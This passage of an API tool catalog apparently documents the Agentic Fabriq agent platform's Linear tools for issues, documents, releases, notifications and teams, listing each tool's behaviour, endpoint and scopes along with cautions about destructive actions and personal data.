linear_get_cycle (read) — Read one cycle by id, with its dates, progress and position relative to today. GET /api/v1/tools/linear/cycle. Scopes: read. linear_get_diff (read) — Read a Linear code diff by id - changed file paths, per-file additions and deletions, the change kind (added, modified, renamed, deleted...), totals, and the linked pull request. This is a CODING-SESSION working tree, not a comparison between releases. NO OTHER TOOL HERE PRODUCES A DIFF ID: it must come from a Linear diff URL. An empty files list with non-zero counts means the credential lacks repository access, not that the diff is empty. Linear marks this endpoint internal - it may change without notice. GET /api/v1/tools/linear/diff. Scopes: read. linear_get_document (read) — Read one document in full, including its Markdown body. Document bodies routinely carry specs, incident write-ups and decision records, so this is a read of substantive business content. GET /api/v1/tools/linear/document. Scopes: read. linear_get_document_history_entries (write) — Read up to 10 Linear document revision entries INCLUDING the document content at each snapshot. Pass entry ids from linear_list_document_history. More than 10 is refused. Use this to answer 'what did this document say before' - the list tool returns metadata only. POST /api/v1/tools/linear/document-content-history/entries. Scopes: read. linear_get_document_history_timeline (read) — Read a Linear document's history timeline, including AI checkpoints - rows showing when an AI conversation edited the document, which conversation and turn, who invoked it, and whether it hit the draft or the live document. Use this rather than linear_list_document_history when the question is who or what made a change. Does not return the document text; use linear_get_document_history_entries for that. GET /api/v1/tools/linear/document-content-history/timeline. Scopes: read. linear_get_emoji (read) — Read one Linear custom emoji. Accepts EITHER the emoji's UUID or its name, which is unusual for these tools. Use the name to check whether an emoji already exists before linear_create_emoji. GET /api/v1/tools/linear/emojis/one. Scopes: read. linear_get_external_user (read) — Read one external user (a person who interacted with Linear from outside the workspace) by id. Use it to resolve the external-user id on a notification or on a customer-raised issue. Get ids from linear_list_external_users. GET /api/v1/tools/linear/external-users/one. Scopes: read. linear_get_favorite (read) — Read one Linear favorite by the FAVORITE's own id from linear_list_favorites - not the id of the issue, project or view it bookmarks. Returns the target, the folder it sits in and its sort position, which are what linear_update_favorite changes. GET /api/v1/tools/linear/favorites/get. Scopes: read. linear_get_initiative (read) — Read one initiative in full, including its brief, its projects and its most recent update. This is the roll-up view a leadership-reporting agent needs. GET /api/v1/tools/linear/initiative. Scopes: read. linear_get_initiative_label (read) — Read one Linear initiative label by id. Returns its name, colour, parent group, isGroup flag and its retirement state - retiredAt and retiredBy tell you whether linear_retire_initiative_label has been used on it, which is what decides whether it can still be applied to a new initiative. GET /api/v1/tools/linear/initiative-labels/get. Scopes: read. linear_get_initiative_lead_team_change_impact (read) — Preview what linear_update_initiative_lead_team WOULD do. Returns how many sub-initiatives a cascading change would rewrite and whether the change could alter who can see the initiative. Call this FIRST whenever the change might cascade, and stop and ask a human if visibilityMayChange comes back true. Nothing is modified. It returns counts, not names - page linear_list_initiative_relations if you need the affected initiatives. GET /api/v1/tools/linear/initiative-lead-team/impact. Scopes: read. linear_get_initiative_project (read) — Read one Linear initiative-to-project link by the LINK's id from linear_list_initiative_projects - not the initiative id and not the project id. Returns both endpoints and the sort order, which is what linear_update_initiative_project changes. GET /api/v1/tools/linear/initiative-projects/get. Scopes: read. linear_get_initiative_relation (read) — Read one Linear initiative parent-child link by its relation id from linear_list_initiative_relations. Returns both endpoints - initiative is the PARENT, relatedInitiative is the CHILD - and the sort order. Use it to confirm direction before calling linear_delete_initiative_relation. GET /api/v1/tools/linear/initiative-relations/get. Scopes: read. linear_get_initiative_update (read) — Read one Linear initiative status update - the written post, its health rating, its author and the diff against the previous one. Takes an initiative UPDATE id from linear_list_initiative_updates, not an initiative id. To edit an initiative itself use linear_update_initiative; to edit this post use linear_update_initiative_update. GET /api/v1/tools/linear/initiative-updates/get. Scopes: read. linear_get_issue (read) — Read one Linear issue in full — description, state, assignee, creator, project, parent, cycle, milestone, labels, relations, attachments, subscribers and dates — together with a PAGE of its comments. ALWAYS check comments.pageInfo.hasNextPage before drawing a conclusion from the discussion: it used to be capped at 50 with no way past it, which meant an agent read a truncated thread and could not tell. Pass comment_cursor to page, or use linear_list_comments. Comments frequently carry more sensitive detail than the issue itself. Accepts either the UUID or the human identifier (ENG-123). GET /api/v1/tools/linear/issue. Scopes: read. linear_get_issue_label (read) — Read one issue label by id, including whether it is a group, its parent group and its owning team. GET /api/v1/tools/linear/issue-label. Scopes: read. linear_get_issue_priority_values (read) — Return Linear's priority scale as integer/label pairs (0 No priority, 1 Urgent, 2 High, 3 Medium, 4 Low). Lets an agent map the word a human used onto the integer linear_create_issue and linear_update_issue take, instead of guessing. GET /api/v1/tools/linear/issue-priority-values. Scopes: read. linear_get_issue_relation (read) — Read one issue relation by id, with both endpoints and the relation type. GET /api/v1/tools/linear/issue-relation. Scopes: read. linear_get_issue_release (read) — Read one Linear issue-to-release link by the LINK's id (not the issue or release id), returning the issue and the release at each end. Get link ids from linear_list_issue_releases. Call it before linear_remove_issue_release_link to confirm you have the right link. GET /api/v1/tools/linear/issue-releases/get. Scopes: read. linear_get_notification (read) — Get one Linear notification by id. Needs a notification id from linear_list_notifications - no other tool produces one. Returns the same fields as a row of that list. Reading it does NOT mark it read; use linear_update_notification with read_at for that. GET /api/v1/tools/linear/notifications/detail. Scopes: read. linear_get_notification_subscription (read) — Get one Linear notification subscription by id, from linear_list_notification_subscriptions. Shows the target entity, the active flag and the subscriber. Call this BEFORE linear_update_notification_subscription if you intend to change notification_subscription_types: that update REPLACES the whole list, so you need the current one to avoid dropping types. GET /api/v1/tools/linear/notification-subscriptions/detail. Scopes: read. linear_get_project (read) — Read one project in full: description, content, lead, teams, labels, status, health, progress, dates and its most recent status update. linear_list_projects returns the id and the headline fields; this returns the ones a status-report agent actually needs. GET /api/v1/tools/linear/project. Scopes: read. linear_get_project_label (read) — Read one Linear project label by id, including whether it has been retired. Get ids from linear_list_project_labels. Check this before linear_add_project_label if a label may have been retired. GET /api/v1/tools/linear/project-labels/one. Scopes: read. linear_get_project_milestone (read) — Read one project milestone by id, with its target date, status and progress. GET /api/v1/tools/linear/project-milestone. Scopes: read. linear_get_project_relation (read) — Read one Linear project relation (a dependency between two projects or milestones) by id. Get ids from linear_list_project_relations. Read it before linear_update_project_relation so you know which end you are moving. GET /api/v1/tools/linear/project-relations/one. Scopes: read. linear_get_project_status (read) — Read one Linear project status by id. Get ids from linear_list_project_statuses or from the status field on a project returned by linear_get_project. GET /api/v1/tools/linear/project-status. Scopes: read. linear_get_project_update (read) — Read one project status update in full, including the diff against the previous one. Note the name collision in Linear's schema: the QUERY projectUpdate reads a status post, while the MUTATION projectUpdate edits a project. Agentic Fabriq keeps them apart as linear_get_project_update and linear_update_project. GET /api/v1/tools/linear/project-update. Scopes: read. linear_get_rate_limit_status (read) — Report how much of Linear's request and complexity budget this credential has left, and when the window resets. Pure diagnostics: it is what lets an agent that has just been rate-limited say how long to wait instead of retrying blindly. GET /api/v1/tools/linear/rate-limit-status. Scopes: read. linear_get_release (read) — Read one Linear release by UUID or slug id. Returns its version, description, stage, pipeline type, issue count, dates, and its archived and trashed flags. Call this before linear_update_release, linear_complete_release, linear_archive_release or linear_delete_release so you know the current stage and can restore the previous values. GET /api/v1/tools/linear/releases/get. Scopes: read. linear_get_release_note (read) — Read one Linear release note by UUID or slug, WITH its markdown body and the full list of releases it covers. This is the only tool that returns the note text. Always call it before linear_update_release_note (which replaces coverage and content) or linear_delete_release_note (which is permanent). GET /api/v1/tools/linear/release-notes/get. Scopes: read. linear_get_release_pipeline (read) — Read one Linear release pipeline by UUID or slug. Returns type (continuous or scheduled), isProduction, rolloverIssuesOnCompletion, autoGenerateReleaseNotesOnCompletion and an approximate release count. Call it before linear_sync_release and linear_complete_release - type and rollover decide what those actually do - and before linear_delete_release_pipeline, whose blast radius is that release count. Stages come from linear_list_release_stages. GET /api/v1/tools/linear/release-pipelines/get. Scopes: read. linear_get_release_stage (read) — Read one Linear release stage by UUID (no slug form exists). Returns its kind, colour, position, frozen flag and pipeline. Check type before calling linear_update_release_stage - only started-type stages are editable - and before linear_archive_release_stage, which has several refusal conditions. GET /api/v1/tools/linear/release-stages/get. Scopes: read. linear_get_roadmap (read) — Read one Linear roadmap by id or slug id. Get ids from linear_list_roadmaps. Returns name, description, colour, owner and url but NOT the projects on it - call linear_list_roadmap_projects for those. Roadmaps are deprecated by Linear; prefer linear_get_initiative for current planning. GET /api/v1/tools/linear/roadmaps/get. Scopes: read. linear_get_roadmap_project (read) — Read one Linear project-to-roadmap link by the LINK's id (not the roadmap or project id). Get link ids from linear_list_roadmap_projects. Returns which project sits on which roadmap and at what sort position. Call it before linear_remove_project_from_roadmap to confirm you have the right link. GET /api/v1/tools/linear/roadmap-projects/get. Scopes: read. linear_get_team (read) — Read one team in full: its key, description, whether cycles are enabled, the cycle length, the timezone, the default state new issues land in and the currently active cycle. linear_list_teams gives the id; this is what tells an agent whether a team runs sprints at all before it tries to file into one. GET /api/v1/tools/linear/team. Scopes: read. linear_get_team_membership (read) — Get one Linear team membership by id, from linear_list_team_memberships. Returns the person, the team, the owner flag and the sort order. Check the owner flag before trying linear_update_team or linear_delete_team - Linear requires team owner or workspace admin rights for those. GET /api/v1/tools/linear/team-memberships/detail. Scopes: read. linear_get_template (read) — Read one template's metadata by id. The template's stored field payload is deliberately not returned: it is an opaque Linear-internal JSON blob whose shape is undocumented and version-dependent, and nothing an agent does with it would be reliable. GET /api/v1/tools/linear/template. Scopes: read. linear_get_unread_notification_count (read) — Get the number of unread Linear notifications for the connected account as one integer. No arguments, no paging - use it as a cheap check before calling linear_list_notifications. Linear marks this query Internal, so prefer paging linear_list_notifications if the count ever looks wrong or the call starts failing. GET /api/v1/tools/linear/notifications/unread-count. Scopes: read. linear_get_user (read) — Read one workspace member by id, including whether they are active, a guest, or an admin, and their current status. Reads a colleague's email address, so grant it only to agents that need to identify people rather than merely count them. GET /api/v1/tools/linear/user. Scopes: read. linear_get_user_settings (read) — Read the connected Linear account's own settings — notification preferences and which categories it has unsubscribed from. Viewer-scoped and read-only; useful for a triage agent deciding whether a notification would actually reach anybody. GET /api/v1/tools/linear/user-settings. Scopes: read. linear_get_viewer (read) — Identify the Linear account this connection authenticates as, returning its id, name, email, whether it is a workspace admin, and the workspace it belongs to. The cheapest authenticated query Linear offers — run it first when a connection is behaving unexpectedly. GET /api/v1/tools/linear/viewer. Scopes: read. linear_get_workflow_state (read) — Read one Linear workflow state (issue status) by id. Returns its type - triage, backlog, unstarted, started, completed or canceled - which is how to tell whether an issue in that state is finished. Names are team-specific and unreliable for that. Get ids from linear_list_workflow_states or from an issue's state field. GET /api/v1/tools/linear/workflow-state. Scopes: read. linear_link_url_to_issue (write) — Attach a URL to an issue — a pull request, a dashboard, a runbook, a customer ticket. Where the workspace has the matching integration Linear renders it as a rich attachment. NOTE THE UPSERT: Linear keys an attachment on url + issueId, so linking a URL that is already on that issue updates the existing attachment rather than adding a second one. Removed by linear_delete_attachment. Agentic Fabriq never forwards Linear's createAsUser or displayIconUrl arguments on this mutation, so an attachment always carries the connected account's real identity. POST /api/v1/tools/linear/attachments/link-url. Scopes: write. linear_list_administrable_teams (read) — List the subset of teams the connected account can administer, as opposed to merely see. Diagnostic: when a team-configuration write fails with a permission error, this is the read that says whether the credential could ever have succeeded. GET /api/v1/tools/linear/administrable-teams. Scopes: read. linear_list_archived_teams (read) — List every archived Linear team in the workspace, with each team's id, key, name and settings. Use it to find the team id that linear_unarchive_team needs to cancel a scheduled deletion started by linear_delete_team. No arguments and no paging: Linear's field takes none, so the whole archive comes back in one response. Linear marks this query Internal, so treat a failure here as a reason to get the id another way rather than as a bug. GET /api/v1/tools/linear/archived-teams. Scopes: read. linear_list_attachment_sources (read) — List the distinct attachment sources (github, slack, zendesk, plain links, ...) present on Linear issues, optionally narrowed to one team. Use it to work out which external tools are attached to this workspace's work - Linear's integration list itself is not available to these tools. GET /api/v1/tools/linear/attachments/sources. Scopes: read. linear_list_attachments (read) — List the links attached to issues — pull requests, Sentry events, Zendesk tickets, Figma files and plain URLs — with each attachment's id, title and source. The only read that produces an attachment id, which linear_update_attachment and linear_delete_attachment both require. GET /api/v1/tools/linear/attachments. Scopes: read. linear_list_available_workspaces (read) — List the Linear workspaces the connected account can access or join. Takes no arguments. Note this reaches BEYOND the current workspace and names other organisations the account belongs to. For the connected identity in the current workspace, use linear_get_viewer instead - it is cheaper and does not disclose other workspaces. GET /api/v1/tools/linear/available-users. Scopes: read. linear_list_comments (read) — List comments with a real cursor, optionally narrowed to one issue, one project or one author. THE ESCAPE FROM A SILENT TRUNCATION: linear_get_issue returns only the first page of comments inline, so on a long-running incident an agent would otherwise read a partial discussion with no way to tell that it had. Page this until pageInfo.hasNextPage is false. GET /api/v1/tools/linear/comments. Scopes: read. linear_list_custom_views (read) — List saved Linear views (custom views) with their ids, names, owners and saved filters. Use this to get the custom_view_id that linear_get_custom_view, linear_update_custom_view, linear_custom_view_has_subscribers and linear_delete_custom_view take. Linear EXCLUDES views scoped to a specific project or initiative from this list - those exist but only linear_get_custom_view reaches them. There is no filter argument; page with page_size and cursor. GET /api/v1/tools/linear/custom-views. Scopes: read. linear_list_cycles (read) — List cycles (Linear's sprints) with their ids, numbers, dates, progress and which one is currently active. THE MISSING LINK FOR SPRINT PLANNING: cycle ids are UUIDs, and until this action existed no Agentic Fabriq tool could produce one, so 'put this in the current cycle' and 'what is left this sprint' were both unreachable. Filter to one team, or to just the active/next/previous cycle. GET /api/v1/tools/linear/cycles. Scopes: read. linear_list_document_history (read) — List a Linear document's revision history - snapshot times, the actors involved, and change metadata. Does NOT return the document text; call linear_get_document_history_entries with the entry ids from here to get that, up to 10 at a time. Document ids come from linear_list_documents or linear_search_documents. GET /api/v1/tools/linear/document-content-history. Scopes: read. linear_list_documents (read) — List Linear documents with their ids, titles and owning project, initiative or team. Document ids are what linear_get_document and linear_update_document take. Note Linear's schema publishes no public-share mutation for documents, so nothing here can expose one outside the workspace. GET /api/v1/tools/linear/documents. Scopes: read. linear_list_emojis (read) — List the custom emojis in the Linear workspace, with names and image URLs. Use it before writing :emoji_name: into a comment body - an unknown name is stored as plain text with no error. Also the source of ids for linear_delete_emoji. Paginate with cursor. GET /api/v1/tools/linear/emojis. Scopes: read. linear_list_external_users (read) — List external users - people who created Linear issues or comments from outside the workspace (email intake, support integrations, customer requests) and hold no seat. linear_list_users does NOT include them. Returns names, display names, emails and last-seen times. Paginate with cursor. GET /api/v1/tools/linear/external-users. Scopes: read. linear_list_favorites (read) — List the connected Linear user's sidebar favorites - issues, projects, documents, cycles, saved views, labels, teams and people. Each row carries the favorite's own id, which is what linear_update_favorite and linear_delete_favorite take; that id is NOT the id of the thing being favorited. Only the connected user's own favorites are visible. GET /api/v1/tools/linear/favorites. Scopes: read. linear_list_initiative_labels (read) — List Linear initiative labels with their ids, colours and retirement state. These are a SEPARATE taxonomy from issue labels (linear_list_issue_labels) and project labels (linear_list_project_labels) - the ids do not cross over. Use this to get the label_id that linear_add_initiative_label and the initiative label write tools take. A row with retiredAt set is retired: still on the initiatives that carry it, but not offered for new ones. GET /api/v1/tools/linear/initiative-labels. Scopes: read. linear_list_initiative_projects (read) — List all links between Linear initiatives and projects. Workspace-wide with no filter argument, so page through with page_size and cursor. Each row carries its OWN id, which is what linear_update_initiative_project takes - it is not the initiative id or the project id. Use linear_add_project_to_initiative and linear_remove_project_from_initiative to create and destroy these links. GET /api/v1/tools/linear/initiative-projects. Scopes: read. linear_list_initiative_relations (read) — List all parent-child links between Linear initiatives. This is workspace-wide: there is no filter argument, so page through with page_size and cursor. On each row, initiative is the PARENT and relatedInitiative is the CHILD. This is the only way to get the relation id that linear_update_initiative_relation and linear_delete_initiative_relation take. GET /api/v1/tools/linear/initiative-relations. Scopes: read. linear_list_initiative_updates (read) — List the written status updates posted on initiatives, with health rating, author and body. The read a reporting agent needs before it writes another one. GET /api/v1/tools/linear/initiative-updates. Scopes: read. linear_list_initiatives (read) — List initiatives — Linear's layer above projects — with their ids, status, health and target dates. Initiative ids are what every other initiative tool takes, and this is the family Linear added to its own MCP server most recently. GET /api/v1/tools/linear/initiatives. Scopes: read. linear_list_issue_labels (read) — List issue labels with their ids, colours, groups and owning team. THE MISSING LINK: linear_create_issue and linear_update_issue both take label ids, a Linear label id is a UUID that cannot be derived from the label's name, and until this action existed there was no way for an agent to obtain one. Optionally narrowed to one team or to labels whose name contains a string. GET /api/v1/tools/linear/issue-labels. Scopes: read. linear_list_issue_relations (read) — List the blocks/related/duplicate links between issues, with each link's id and both endpoints. The only read that produces a relation id, which linear_delete_issue_relation and linear_update_issue_relation both require. Note this is a workspace-wide list with no server-side issue filter — page it, or read one issue's own relations through linear_get_issue. GET /api/v1/tools/linear/issue-relations. Scopes: read. linear_list_issue_releases (read) — List issue-to-release links across the whole workspace, paginated. There is NO filter, issue or release argument - Linear publishes none - so finding a specific pair means paging and matching yourself. Only use this when you need the LINK's own id. To unlink an issue from a release, call linear_remove_issue_from_release with the issue and release ids instead; it needs no paging. GET /api/v1/tools/linear/issue-releases. Scopes: read. linear_list_issues (read) — List Linear issues, optionally narrowed to one team, assignee, workflow state or project, most-recently-updated first. Returns title, priority, state, team, assignee, project, labels and URL for each. The narrowing arguments are separate ids, not a filter object — Agentic Fabriq assembles Linear's filter from them. Paginates with `cursor`. GET /api/v1/tools/linear/issues. Scopes: read. linear_list_notification_subscriptions (read) — List the connected Linear account's notification subscriptions: what it gets notified about, which entity each subscription points at, and whether it is active. This is the tool that produces the subscription id that linear_update_notification_subscription and linear_delete_notification_subscription need. Check the active flag before assuming a subscription is delivering anything. GET /api/v1/tools/linear/notification-subscriptions. Scopes: read. linear_list_notifications (read) — List the connected Linear account's notifications - the inbox. Returns each notification's id, type, category, title, subtitle, readAt, snoozedUntilAt, archivedAt and a direct inboxUrl. This is the tool that produces the notification id every other notification tool needs. Archived notifications are excluded unless include_archived=true. Listing does not mark anything read. There is no filter argument: page through and filter the rows yourself. GET /api/v1/tools/linear/notifications. Scopes: read. linear_list_project_labels (read) — List project labels with their ids and colours. Project labels are a separate taxonomy from issue labels and their ids are what linear_create_project, linear_update_project and linear_add_project_label take. GET /api/v1/tools/linear/project-labels. Scopes: read. linear_list_project_milestones (read) — List project milestones with their ids, target dates and progress, optionally for one project. Milestone ids are what linear_create_issue and linear_update_issue take as project_milestone_id, so without this that field is unusable. GET /api/v1/tools/linear/project-milestones. Scopes: read. linear_list_project_relations (read) — List the dependency links between projects and milestones, with each link's id and both endpoints. The only read that produces a project-relation id, which linear_delete_project_relation requires. GET /api/v1/tools/linear/project-relations. Scopes: read. linear_list_project_statuses (read) — List the workspace's project statuses (Backlog, Planned, In Progress, Completed, Cancelled, Paused and any custom ones) with their ids and types. Status ids are what linear_create_project and linear_update_project take, so this is what makes 'mark this project complete' possible at all. GET /api/v1/tools/linear/project-statuses. Scopes: read. linear_list_project_updates (read) — List the written status updates posted on projects, with their health rating, author and body, optionally for one project. This is the read a reporting agent needs before it writes another one, and the only way to obtain a project-update id. GET /api/v1/tools/linear/project-updates. Scopes: read. linear_list_projects (read) — List Linear projects with their id, name, description, state, progress, start date and target date. Project ids are what linear_list_issues filters on and what linear_create_issue and linear_update_issue accept to place an issue in a project. GET /api/v1/tools/linear/projects. Scopes: read. linear_list_release_notes (read) — List Linear release notes with titles, coverage and generation status, optionally filtered to one pipeline. Does NOT return the note body - call linear_get_release_note for that. generationStatus 'pending' means Linear is still writing it automatically, so an empty body is expected. Paginate with cursor. GET /api/v1/tools/linear/release-notes. Scopes: read. linear_list_release_pipelines (read) — List Linear release pipelines - id, name, type (continuous or scheduled), production flag, path patterns and note-generation setting. START HERE: every other release tool needs a pipeline id. Filter with pipeline_type or is_production. Read the type before syncing or completing anything: continuous pipelines create a new release per sync, scheduled ones accumulate into one. Paginate with cursor. GET /api/v1/tools/linear/release-pipelines. Scopes: read. linear_list_release_stages (read) — List Linear release stages with their name, kind, colour, position, frozen flag and owning pipeline. Filter by stage_type only - there is NO pipeline filter in Linear's API, so match pipeline.id on the rows yourself. Use the ids with linear_create_release and linear_update_release. Paginate with cursor. GET /api/v1/tools/linear/release-stages. Scopes: read. linear_list_releases (read) — List Linear releases with their version, stage, pipeline, issue count and dates. Narrow with pipeline_id, with stage_type (planned, started, completed or canceled), or with has_release_notes=false to find releases still needing notes. There is no free-form filter argument. Paginate with cursor. Pass include_archived=true to see archived or trashed releases; each row's trashed flag tells the two apart. GET /api/v1/tools/linear/releases. Scopes: read. linear_list_roadmap_projects (read) — List project-to-roadmap links across the whole workspace, paginated. There is NO filter argument - Linear does not publish one - so to find the projects on a specific roadmap you must page through and match roadmap.id yourself. Each row carries the link id you need for linear_reorder_roadmap_project and linear_remove_project_from_roadmap. Prefer the initiative tools; roadmaps are deprecated. GET /api/v1/tools/linear/roadmap-projects. Scopes: read. linear_list_roadmaps (read) — List Linear roadmaps with their names, descriptions, owners and urls. Roadmaps are DEPRECATED by Linear in favour of initiatives - prefer linear_list_initiatives for anything new, and use this only to read planning that already lives on a roadmap. Paginate with cursor. Pass include_archived=true to see archived roadmaps. GET /api/v1/tools/linear/roadmaps. Scopes: read. linear_list_team_memberships (read) — List the membership rows joining members to teams, with each row's id, whether that member owns the team, and both sides of the join. This is the only read that produces a team-membership id, which linear_update_team_membership and linear_remove_team_membership both require. GET /api/v1/tools/linear/team-memberships. Scopes: read. linear_list_teams (read) — List the Linear teams this connection can see, with each team's id, key (e.g. ENG), name and whether it is private. START HERE: linear_create_issue requires a team_id, and a Linear team id is a UUID that cannot be derived from the team's key. Paginates with `cursor`; pass back `pageInfo.endCursor` for the next page. GET /api/v1/tools/linear/teams. Scopes: read. linear_list_templates (read) — List the issue, project and document templates defined in the workspace, with their ids and owning teams. Template ids are what linear_create_issue takes as template_id, so this is what lets an agent file an issue the way the team already files them. Returns the whole set; Linear publishes no pagination on this query. GET /api/v1/tools/linear/templates. Scopes: read. linear_list_templates_for_integration (read) — List Linear templates associated with an integration type. Pass the type string directly - 'slack', 'github', 'jira', 'zendesk'. There is no tool that lists the valid values, so an unknown one simply returns nothing. Use linear_list_templates for the workspace's templates generally. GET /api/v1/tools/linear/templates/for-integration. Scopes: read. linear_list_users (read) — List Linear workspace members with their id, name, display name, email and whether they are active. This is where an assignee_id comes from: Linear's issue tools take a member UUID, never a name or an email address. Returns colleagues' email addresses, so this is a read of real personal data. GET /api/v1/tools/linear/users. Scopes: read. linear_list_workflow_states (read) — List Linear workflow states (Todo, In Progress, Done, Canceled and any custom ones) with their ids, optionally for one team. Call this before linear_update_issue: an issue is closed by moving it to a state, states are per-team, and their ids are not guessable. Without it an agent can read and comment but cannot move anything. GET /api/v1/tools/linear/workflow-states. Scopes: read. linear_mark_notifications_read_for_entity (write) — Mark every Linear notification about ONE thing as read. Pass EXACTLY ONE of notification_id, issue_id, project_update_id, initiative_id or initiative_update_id, plus read_at, a REQUIRED ISO-8601 timestamp such as 2026-08-15T09:30:00Z (Linear has no default for it). Only the connected account's inbox changes. Reversible with linear_mark_notifications_unread_for_entity using the same selector. POST /api/v1/tools/linear/notifications/mark-read-all. Scopes: write. linear_mark_notifications_unread_for_entity (write) — Mark every Linear notification about ONE thing as unread. Pass EXACTLY ONE of notification_id, issue_id, project_update_id, initiative_id or initiative_update_id. No timestamp argument - unread means no read time. This is the inverse of linear_mark_notifications_read_for_entity, and the only way to undo a linear_update_notification call that set read_at, though it acts on the whole group rather than the one row. POST /api/v1/tools/linear/notifications/mark-unread-all. Scopes: write. linear_move_project_milestone (write) — Move a milestone, and the issues attached to it, into a different project. Reversed by calling it again with the original project id — Linear returns the undo information in the payload. POST /api/v1/tools/linear/project-milestones/move. Scopes: write. linear_reassign_project_status (write, destructive) — DESTRUCTIVE - moves EVERY project from one Linear project status to another in a single call. Nothing is deleted. Call linear_count_projects_in_status on both statuses first: you can only undo this by swapping the ids, and that only works if the destination was empty, because afterwards the two sets of projects are indistinguishable. Intended as the cleanup step before linear_archive_project_status. POST /api/v1/tools/linear/projects/reassign-status. Scopes: write. linear_remove_initiative_label (write) — Detach ONE label from ONE initiative. The label itself is not deleted and stays on every other initiative. Other labels on this initiative are untouched. The exact inverse of linear_add_initiative_label. To stop a label being used anywhere, use linear_retire_initiative_label instead. POST /api/v1/tools/linear/initiative-labels/remove. Scopes: write. linear_remove_issue_from_release (write, destructive) — DESTRUCTIVE but reversible. Remove an issue from a Linear release using the issue id and the release id. USE THIS rather than linear_remove_issue_release_link, which needs a link id you would have to page an unfilterable list to find. Neither the issue nor the release is otherwise changed. Undo with linear_add_issue_to_release using the same two ids. POST /api/v1/tools/linear/issue-releases/delete-by-issue-and-release. Scopes: write. linear_remove_issue_label (write) — Remove ONE label from an issue, leaving every other label alone. The inverse of linear_add_issue_label and trivially undone by it. Detaches a label from an issue; it does not delete the label itself. POST /api/v1/tools/linear/issues/labels/remove. Scopes: write. linear_remove_issue_release_link (write, destructive) — DESTRUCTIVE but reversible. Remove an issue from a release using the LINK's id. PREFER linear_remove_issue_from_release, which takes the issue id and release id you already have - the link id this needs only comes from linear_list_issue_releases, which cannot be filtered. Neither the issue nor the release is deleted. Undo with linear_add_issue_to_release. POST /api/v1/tools/linear/issue-releases/delete. Scopes: write. linear_remove_project_from_initiative (write, destructive) — DESTRUCTIVE — detach a project from an initiative. Destroys the membership row only: the project keeps its issues, its team and its board. Re-created by linear_add_project_to_initiative. POST /api/v1/tools/linear/initiatives/projects/remove. Scopes: write. linear_remove_project_from_roadmap (write, destructive) — DESTRUCTIVE but reversible. Remove a project from a Linear roadmap by deleting the link. Takes the LINK id from linear_list_roadmap_projects, not the project id - confirm it with linear_get_roadmap_project first. Neither the project nor the roadmap is deleted. Recreate the link with linear_add_project_to_roadmap using the same roadmap and project ids. POST /api/v1/tools/linear/roadmap-projects/delete. Scopes: write. linear_remove_project_label (write) — Remove ONE label from a project, leaving the others alone. The inverse of linear_add_project_label and undone by it. Detaches the label; it does not delete it. POST /api/v1/tools/linear/projects/labels/remove. Scopes: write. linear_remove_team_membership (write, destructive) — DESTRUCTIVE. Remove a person from a Linear team using a membership id from linear_list_team_memberships. Requires confirm='remove-this-person-from-the-team' - that exact string; true, 'yes' and any other wording are refused. They lose the team's boards, issues and notifications at once, and this may be a colleague rather than the connected account. Reversible with linear_add_team_membership, which needs the team id and user id - read them with linear_get_team_membership BEFORE calling this, because the id itself is gone afterwards. It removes exactly one membership; parent teams are never touched. POST /api/v1/tools/linear/team-memberships/delete. Scopes: write. linear_reorder_roadmap_project (write) — Reorder a project within a Linear roadmap by setting a new sort_order on the link. Takes the LINK id from linear_list_roadmap_projects. This is the ONLY editable field - to move a project to another roadmap use linear_remove_project_from_roadmap then linear_add_project_to_roadmap. Read the current position with linear_get_roadmap_project first so you can put it back. PATCH /api/v1/tools/linear/roadmap-projects. Scopes: write. linear_reset_user_flags (write) — Reset the connected Linear account's UI flags. Pass the specific UserFlagType names you mean. CALLING THIS WITH NO FLAGS RESETS EVERY FLAG, which makes every dismissed tip and onboarding prompt reappear for the person who owns the account - do not do that unless they asked. Nothing about issues or projects is affected. POST /api/v1/tools/linear/user-flags/reset. Scopes: write. linear_resolve_comment (write) — Mark a comment thread resolved, which collapses it in Linear's UI. Reversed exactly by linear_unresolve_comment. Nothing is deleted and the thread stays readable. POST /api/v1/tools/linear/comments/resolve. Scopes: write. linear_restore_initiative_label (write) — Un-retire a Linear initiative label so it can be applied to new initiatives again. The exact inverse of linear_retire_initiative_label. Find retired labels with linear_list_initiative_labels - they are the rows with retiredAt set. POST /api/v1/tools/linear/initiative-labels/restore. Scopes: write. linear_restore_issue_label (write) — Un-retire an issue label so it is offered on new issues again. The exact inverse of linear_retire_issue_label, shipped alongside it so retiring is never a one-way door. POST /api/v1/tools/linear/issue-labels/restore. Scopes: write. linear_restore_project_label (write) — Un-retire a project label. The exact inverse of linear_retire_project_label. POST /api/v1/tools/linear/project-labels/restore. Scopes: write. linear_retire_initiative_label (write, destructive) — Retire a Linear initiative label: it stops being offered for new initiatives, and every initiative already carrying it keeps it. Reversible with linear_restore_initiative_label. Prefer this over linear_delete_initiative_label, which strips the label from every initiative permanently. POST /api/v1/tools/linear/initiative-labels/retire. Scopes: write. linear_retire_issue_label (write, destructive) — DESTRUCTIVE — retire an issue label. It stops being offered on new issues across the whole workspace and disappears from the label picker, though issues already carrying it keep it. Retiring is Linear's reversible removal: linear_restore_issue_label puts it back. Deleting a label outright is deliberately not exposed. POST /api/v1/tools/linear/issue-labels/retire. Scopes: write. linear_retire_project_label (write, destructive) — DESTRUCTIVE — retire a project label so it stops being offered across the workspace. Projects already carrying it keep it. Reversed by linear_restore_project_label; deleting a label outright is deliberately not exposed. POST /api/v1/tools/linear/project-labels/retire. Scopes: write. linear_search_documents (read) — Full-text search across document titles and bodies, ranked by relevance. Capped at 50 results per page because Linear rate-limits its search queries separately. The term is a bound GraphQL variable and is never part of the query document. GET /api/v1/tools/linear/search-documents. Scopes: read. linear_search_issues (read) — Full-text search across Linear issues, ranked by relevance, optionally including comment bodies. Linear rate-limits this query separately at 30 requests per minute, so it returns at most 50 results per page — use linear_list_issues with a team or assignee filter when you know what you are looking for. The search term is sent to Linear as a bound GraphQL variable and never becomes part of the query itself. GET /api/v1/tools/linear/search. Scopes: read. linear_search_projects (read) — Full-text search across project names and descriptions, ranked by relevance. Linear rate-limits its search queries separately, so this is capped at 50 results per page. The search term is sent as a bound GraphQL variable and is never part of the query. GET /api/v1/tools/linear/search-projects. Scopes: read. linear_search_releases (read) — Search Linear releases by name, version or pipeline name. Omit term to get the currently relevant releases ordered started, planned, completed, canceled - the fastest way to answer 'what is shipping'. Optionally restrict to one pipeline with pipeline_id. NOT PAGINATED - limit caps the result at 50 and there is no cursor; use linear_list_releases to walk everything. GET /api/v1/tools/linear/releases/search. Scopes: read. linear_semantic_search (write) — Semantic (meaning-based) search across Linear issues, projects, initiatives and documents. Use this when you do not know the exact words used in Linear - it 